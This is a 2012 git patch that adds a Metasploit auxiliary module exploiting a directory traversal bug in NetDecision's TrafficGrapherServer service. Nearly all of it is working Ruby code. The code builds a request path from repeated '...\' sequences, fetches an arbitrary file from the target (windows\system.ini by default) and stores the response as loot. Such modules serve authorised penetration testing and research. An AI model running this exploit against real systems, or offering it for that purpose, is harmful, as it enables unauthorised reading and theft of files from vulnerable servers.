From 65bde7ec99d853f8bd02ecbbfa50eb8ec08996c8 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Wed, 14 Mar 2012 16:50:54 -0500 Subject: [PATCH] Add OSVDB-79863 NetDecision Directory Traversal --- .../scanner/http/netdecision_traversal.rb | 80 +++++++++++++++++++ 1 file changed, 80 insertions(+) create mode 100644 modules/auxiliary/scanner/http/netdecision_traversal.rb diff --git a/modules/auxiliary/scanner/http/netdecision_traversal.rb b/modules/auxiliary/scanner/http/netdecision_traversal.rb new file mode 100644 index 0000000000..25a5d0b683 --- /dev/null +++ b/modules/auxiliary/scanner/http/netdecision_traversal.rb @@ -0,0 +1,80 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'NetDecision NOCVision Server Directory Traversal', + 'Description' => %q{ + This module exploits a directory traversal bug in NetDecision's + TrafficGrapherServer.exe service. This is doen by using "...\" in + the path to retrieve a file on a vulnerable machine. + }, + 'References' => + [ + [ 'OSVDB', '79863' ], + [ 'URL', 'http://aluigi.altervista.org/adv/netdecision_1-adv.txt' ], + ], + 'Author' => + [ + 'Luigi Auriemma', #Initial discovery, poc + 'sinn3r' + ], + 'License' => MSF_LICENSE, + 'DisclosureDate' => "Mar 07 2012", + )) + + register_options( + [ + # 8087 = TrafficGrapherServer + # 8090 = NOCVisionServer + Opt::RPORT(8087), + OptString.new('FILEPATH', [false, 'The name of the file to download', 'windows\\system.ini']) + ], self.class) + + deregister_options('RHOST') + end + + def run_host(ip) + trav = "...\\...\\...\\...\\...\\...\\" + + # In case the user doesn't realize he doesn't need to begin with "\", + # we'll correct that for him + file = datastore['FILEPATH'] + file = file[1,file.length] if file[0,1] == "\\" + + uri = "/#{trav}#{file}" + print_status("#{ip}:#{rport} - Retriving #{file}") + + res = send_request_raw({ + 'method' => 'GET', + 'uri' => uri + }, 25) + + print_status("#{ip}:#{rport} returns: #{res.code.to_s}") + + if res.body.empty? + print_error("No file to download (empty)") + else + fname = File.basename(datastore['FILEPATH']) + path = store_loot( + 'netdecision.http', + 'application/octet-stream', + ip, + res.body, + fname) + print_status("File saved in: #{path}") + end + end +end \ No newline at end of file